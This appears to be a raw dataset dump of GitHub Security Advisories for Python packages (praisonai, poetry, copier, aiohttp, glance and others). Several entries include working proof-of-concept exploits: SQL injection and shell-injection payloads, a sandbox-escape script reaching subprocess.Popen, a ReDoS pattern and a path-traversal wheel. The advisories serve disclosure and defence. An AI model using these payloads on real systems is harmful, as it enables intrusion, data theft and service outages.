deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-8w9j-hc3g-3g7f
Package: praisonai (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 4.5.89
Patched in: 4.5.90

Summary: PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

Details:
### Summary

`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

### Details

`tool_index.py:365` (source) -> `tool_index.py:368` (sink)
```python
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)
```

### PoC
```python
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s
```

### Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
GitHub Security Advisory: GHSA-9cq8-3v94-434g
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 4.5.89
Patched in: 4.5.90

Summary: PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Details:
## Summary

The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.

---

## Details

**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`

**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```

- **Hop (Line 547):**
```python
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
```

- **Sink (Line 576):**
```sql
WHERE s."threadId" IN {thread_ids}
```

---

## Proof of Concept (PoC)

```python

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console
```

---

## Impact

An attacker can achieve full database compromise, including:

- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
GitHub Security Advisory: GHSA-9gm9-c8mq-vq7m
Package: praisonai (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: >= 4.5.15, <= 4.5.68
Patched in: 4.5.69

Summary: PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()

Details:
### Summary

The `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user.

### Details

`cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink)
```python
# source
parts = shlex.split(command)

# hop
cmd, args, env = self.parse_mcp_command(command, env_vars)
self.server_params = StdioServerParameters(command=cmd, args=arguments)

# sink
process = await anyio.open_process([command, *args])

```

Fixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist:
```python
ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"}
if cmd not in ALLOWED_COMMANDS:
    raise ValueError(f"Disallowed command: {cmd}")
```

### PoC
```python
# tested on: praisonai==4.5.48
# install: pip install praisonai==4.5.48
# run: praisonai --mcp "bash -c 'id > /tmp/pwned'"
# verify: cat /tmp/pwned
# expected output: uid=1000(...) gid=1000(...) groups=1000(...)
```

### Impact

Any deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.
GitHub Security Advisory: GHSA-w37c-qqfp-c67f
Package: praisonaiagents (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 1.5.89
Patched in: 1.5.90

Summary: PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

Details:
### Summary

`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

### Details

`execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink)
```python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)
```

### PoC
```python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.
GitHub Security Advisory: GHSA-6vh2-h83c-9294
Package: praisonaiagents (PIP)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 1.5.89
Patched in: 1.5.90

Summary: PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Details:
### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)
```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```

### PoC
```python

from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
GitHub Security Advisory: GHSA-mc26-q38v-83gv
Package: glance (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: = 31.0.0
Patched in: 31.1.0

Summary: OpenStack Glance is affected by Server-Side Request Forgery (SSRF)

Details:
OpenStack Glance versions < 29.1.1, >= 30.0.0 < 30.1.1, == 31.0.0 are affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only the glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin.
GitHub Security Advisory: GHSA-mc26-q38v-83gv
Package: glance (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 30.0.0, < 30.2.0
Patched in: 30.2.0

Summary: OpenStack Glance is affected by Server-Side Request Forgery (SSRF)

Details:
OpenStack Glance versions < 29.1.1, >= 30.0.0 < 30.1.1, == 31.0.0 are affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only the glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin.
GitHub Security Advisory: GHSA-mc26-q38v-83gv
Package: glance (PIP)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 29.2.0
Patched in: 29.2.0

Summary: OpenStack Glance is affected by Server-Side Request Forgery (SSRF)

Details:
OpenStack Glance versions < 29.1.1, >= 30.0.0 < 30.1.1, == 31.0.0 are affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to internal services. Only the glance image import functionality is affected. In particular, the web-download and glance-download import methods are subject to this vulnerability, as is the optional (not enabled by default) ovf_process image import plugin.
GitHub Security Advisory: GHSA-v7v2-m736-cf3c
Package: nemo-toolkit (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 2.6.2
Patched in: 2.6.2

Summary: NVIDIA NeMo Framework contains a vulnerability leading to Remote Code Execution

Details:
NVIDIA NeMo Framework contains a vulnerability where an attacker may cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure and data tampering.
GitHub Security Advisory: GHSA-m4jw-wgmf-889x
Package: nemo-toolkit (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 2.6.2
Patched in: 2.6.2

Summary: NVIDIA NeMo Framework contains an RCE vulnerability in checkpoint loading

Details:
NVIDIA NeMo Framework contains a vulnerability in checkpoint loading where an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure and data tampering.
GitHub Security Advisory: GHSA-wrpj-755p-x363
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 4.8)
CWE: CWE-295: Improper Certificate Validation
Vulnerable versions: >= 1.10.0, < 1.12.0
Patched in: 1.12.0

Summary: Apache Airflow Provider for Databricks: TLS Certificate Verification is Disabled in Databricks Provider K8s Token Exchange

Details:
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice.

This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0.

Users are recommended to upgrade to version 1.12.0, which fixes the issue.
GitHub Security Advisory: GHSA-85v3-4m8g-hrh6
Package: copier (PIP)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 9.14.1
Patched in: 9.14.1

Summary: Copier `_subdirectory` allows template root escape via parent-directory traversal

Details:
### Summary

Copier's `_subdirectory` setting is documented as the subdirectory to use as the template root. However, the current implementation accepts parent-directory traversal such as `..` and uses it directly when selecting the template root.

As a result, a template can escape its own directory and make Copier render files from the parent directory without `--UNSAFE`.

### Details

The relevant code path is:

1. the template defines `_subdirectory`
2. Copier renders that string
3. `template_copy_root` returns `self.template.local_abspath / subdir`
4. Copier walks that directory as the template root

Relevant code:

- <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_main.py#L1056-L1062>
- <https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_template.py#L504-L513>

The effective sink is:

```python
subdir = self._render_string(self.template.subdirectory) or ""
return self.template.local_abspath / subdir
```

There is no check that the resulting path stays inside the template directory.

The documentation for `_subdirectory` describes it as:

> Subdirectory to use as the template root when generating a project.

and explains it as a way to separate template metadata from template source code:

<https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L1582-L1646>

That description fits values like `template` or `poetry`, but not `..`.

### PoC

#### PoC 1: `_subdirectory: ..` escapes to the parent directory

```sh
mkdir -p root/template dst
echo 'loot' > root/loot.txt
printf '%s\n' '_subdirectory: ..' > root/template/copier.yml

copier copy --overwrite root/template dst
find dst -maxdepth 3 -type f | sort
cat dst/loot.txt
```

Expected output includes:

```text
dst/loot.txt
dst/template/copier.yml
loot
```

This shows Copier is rendering from `root/` rather than from `root/template/`.

### Impact

If a user runs Copier on an untrusted template, that template can change the effective template root and make Copier render files from outside the intended template directory.

Practical impact:

- template-root escape via `..`
- rendering of parent-directory files that were not meant to be part of the template
- possible without `--UNSAFE`
GitHub Security Advisory: GHSA-2599-h6xx-hpxp
Package: poetry (PIP)
Severity: HIGH (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.4.0, <= 2.3.2
Patched in: 2.3.3

Summary: Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

Details:
### Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. 

### Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

### Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

### Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

### POC

```
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
```
GitHub Security Advisory: GHSA-c427-h43c-vf67
Package: aiohttp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 3.13.3
Patched in: 3.13.4

Summary: AIOHTTP accepts duplicate Host headers

Details:
### Summary

Multiple Host headers were allowed in aiohttp.

### Impact

Mostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349
Patch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000
GitHub Security Advisory: GHSA-63hf-3vf5-4wqf
Package: aiohttp (PIP)
Severity: LOW (CVSS 9.1)
CWE: CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Vulnerable versions: <= 3.13.3
Patched in: 3.13.4

Summary: AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass

Details:
### Summary

The C parser (the default for most installs) accepted null bytes and control characters is response headers.

### Impact

An attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4
GitHub Security Advisory: GHSA-mwh4-6h8g-pg8w
Package: aiohttp (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Vulnerable versions: <= 3.13.3
Patched in: 3.13.4

Summary: AIOHTTP has HTTP response splitting via \r in reason phrase

Details:
### Summary

An attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.

### Impact

In the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b
GitHub Security Advisory: GHSA-966j-vmvw-g2g9
Package: aiohttp (PIP)
Severity: LOW (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: <= 3.13.3
Patched in: 3.13.4

Summary: AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect

Details:
### Summary

When following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.

### Impact

The Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6